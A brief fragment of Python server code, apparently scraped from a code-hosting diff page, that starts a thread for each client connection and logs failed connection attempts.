client = threading.Thread(target=self.__client_handler, args=(address,msg))
|
||||||
|
client.start()
|
||||||
|
except Exception as e:
|
||||||
|
log(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}:{address[1]}. Reason: {e}')
|
||||||
Loading…
x
Reference in New Issue
Block a user